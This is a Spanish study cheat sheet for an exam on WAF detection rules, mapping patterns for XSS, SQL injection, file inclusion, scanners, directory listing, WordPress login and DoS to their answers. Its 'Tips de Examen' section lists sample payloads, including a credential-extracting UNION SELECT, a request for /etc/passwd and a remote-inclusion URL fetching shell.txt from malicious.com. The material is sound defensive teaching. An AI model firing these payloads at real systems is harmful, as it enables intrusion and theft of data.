🛡️ Resumen de Reglas WAF – Chuleta de Repaso

🔥 Ataques Detectados y Reglas

🚨 Ataque	🧩 Patrón Detectado	📜 Descripción breve	✅ Respuesta Correcta
🕷️ **Cross-Site Scripting (XSS)**	`<script>`	Inyección de JS en navegador.	**XSS**
💉 **SQL Injection (SQLi)**	`union.*select.*from`	Inyección SQL para extraer datos.	**SQLi**
📁 **Local File Inclusion (LFI)** / Path Traversal	`../`	Acceso a archivos locales.	**LFI / Path Traversal**
🌐 **Remote File Inclusion (RFI)**	`file://` , `ftp://` , `http://` , `https://`	Inclusión de archivos remotos.	**RFI**
🤖 **Scanners automáticos**	`User-Agent` ⟶ `scanners-user-agents.data`	Detecta Nikto, Nmap, sqlmap.	**Detecta scanners**
📑 **Directory Listing**	`<TITLE>Index of...>` , `To Parent Directory`	Exposición de listados de ficheros.	**Directory Listing**
🔐 **Acceso a WordPress Login**	`/wp-login.php`	Intentos de acceso al panel WP.	**Login WP**

🚨 Ataque	🧩 Patrón Detectado	📜 Descripción breve	✅ Respuesta Correcta
📡 Denegación de Servicio (DoS)	`IP:DOS_BLOCK` con contadores	Bloquea peticiones masivas de una IP.	
DoS			

🛡️ Resumen de Reglas WAF – Chuleta de Repaso

🔥 Ataques Detectados y Reglas

🚨 Ataque	🧩 Patrón Detectado	📜 Descripción breve	✅ Respuesta Correcta
🕷️ Cross-Site Scripting (XSS)	`<script>`	Inyección de JS para ejecutar código en el navegador.	**XSS**
💉 SQL Injection (SQLi)	`union.*select.*from`	Inyección SQL para extraer datos de la base de datos.	**SQLi**
📂 Local File Inclusion (LFI) / Path Traversal	`../`	Acceso a archivos locales usando rutas relativas.	**LFI / Path Traversal**
🌐 Remote File Inclusion (RFI)	`file://` , `ftp://` , `http://` , `https://`	Inclusión de archivos remotos para ejecutar código.	**RFI**
🤖 Scanners automáticos	`User-Agent` contra `scanners-user-agents.data`	Detecta herramientas como Nikto, Nmap,	**Detecta scanners**

🚨 Ataque	🧩 Patrón Detectado	📜 Descripción breve	✅ Respuesta Correcta
		sqlmap.	
📑 Directory Listing / Info Leak	`<TITLE>Index of...>` , `To Parent Directory`	Listado de directorios expone ficheros sensibles.	**Directory Listing**
🔐 Acceso a WordPress Login	`/wp-login.php`	Identifica intentos de acceso al panel de WordPress.	**Login WP**
📡 Denegación de Servicio (DoS)	`IP:DOS_BLOCK` con contadores	Bloquea tráfico masivo desde la misma IP.	**DoS**

📌 Conceptos Clave

- 🔧 **WAF ≠ Política de desarrollo seguro**
  El WAF **mitiga** ataques en tiempo real, pero el desarrollo seguro **previene** vulnerabilidades desde el origen.
  ➡️ **Son complementarios, no intercambiables.**
  ➡️ **Se complementan, nunca se sustituyen.**
- 🛡️ **Ubicación recomendada del WAF**
  En la **DMZ, delante del servidor web**, justo después del firewall:

Internet --> Firewall --> WAF --> myWebServer (DMZ)

- 🏠 **Diferencia entre Servidor Web y DMZ**
- **Servidor web**: recurso específico (ej. `myWebServer`).
- **DMZ**: zona de red donde se colocan servicios expuestos para proteger la LAN interna (Green).

🎯 Tips de Examen

- **XSS** → `<script>alert(1)</script>`
- **SQLi** → `' OR '1'='1' UNION SELECT user,password FROM users --`
- **LFI** → `GET /index.php?page=../../etc/passwd`
- **RFI** → `GET /index.php?page=http://malicious.com/shell.txt`
- **Scanners** → Detecta cabeceras típicas de Nikto, sqlmap, etc.
- **Directory Listing** → Muestra `Index of /` con archivos listados.
- **WP Login** → `/wp-login.php` = posible fuerza bruta.
- **DoS** → Muchas peticiones en poco tiempo desde la misma IP.

✨ **Recuerda:** El WAF es tu **escudo en tiempo real**, pero la **espada es el desarrollo seguro**.

📘 Resumen de Reglas WAF – Repaso

🔹 1. Cross-Site Scripting (XSS)

• Regla detectada:

< script>

• Claves: Busca etiquetas < script> o inyecciones de JavaScript.

• Ataque: Inyección de código para ejecutar scripts en el navegador de la víctima.

• Respuesta correcta: Cross-Site Scripting (XSS)

🔹 2. SQL Injection (SQLi)

• Regla detectada:

union.*select.*from

• Claves: Uso de UNION SELECT para extraer datos de la base de datos.

• Ataque: Inyección SQL para obtener, modificar o borrar datos.

• Respuesta correcta: SQL Injection (SQLi)

🔹 3. Local File Inclusion (LFI) / Path Traversal

• Regla detectada:

../

• Claves: Secuencias ../ para acceder a directorios superiores.
• Ataque: Lectura de archivos locales no autorizados.
• Respuesta correcta: Local File Inclusion (LFI) / Path Traversal

🔹 4. Remote File Inclusion (RFI)
• Regla detectada:
^(?i:file|ftps?|https?)://
• Claves: Carga de archivos desde http://, https://, ftp://, file://.
• Ataque: Inyección de archivos remotos para ejecutar código malicioso.
• Respuesta correcta: Remote File Inclusion (RFI)

🔹 5. Scanners automáticos
• Regla detectada:
REQUEST_HEADERS:User-Agent @pmFromFile scanners-user-agents.data
• Claves: Identifica User-Agent de herramientas como Nmap, Nikto, sqlmap.
• Ataque: Reconocimiento automático para detectar vulnerabilidades.
• Respuesta correcta:
Ninguna de las anteriores. Detecta ataques automáticos con scanners conocidos

🔹 6. Directory Listing / Fugas de información
• Regla detectada:
< TITLE>Index of.*< /TITLE> | To Parent Directory
• Claves: Detecta páginas que muestran listados de directorios.
• Ataque: Fuga de información sensible por Directory Listing.
• Respuesta correcta:
Detecta fugas de información (Directory Listing)

🔹 7. Acceso a WordPress Login
• Regla detectada:
REQUEST_FILENAME "@endsWith /wp-login.php"
• Claves: Identifica accesos a la página de login de WordPress.

• Uso: Monitorizar intentos de login, posible fuerza bruta.

• Respuesta correcta:

Detecta un acceso al panel de administración de un WordPress

🔹 8. Denegación de Servicio (DoS)

• Regla detectada:

IP:DOS_BLOCK "@eq 1"

• Claves: Contadores para bloquear peticiones masivas de una IP.

• Ataque: Saturación del servicio (DoS).

• Respuesta correcta:

Detecta un ataque de denegación de servicio (DoS)

📌 Conclusiones del Test

• WAF ≠ desarrollo seguro → Se complementan, no se sustituyen.

• Ubicación recomendada del WAF:

En la DMZ, delante del servidor web, después del firewall.

• Diferencia clave:

o Servidor web: recurso específico (ej. myWebServer).

o DMZ: red intermedia donde se colocan servidores expuestos.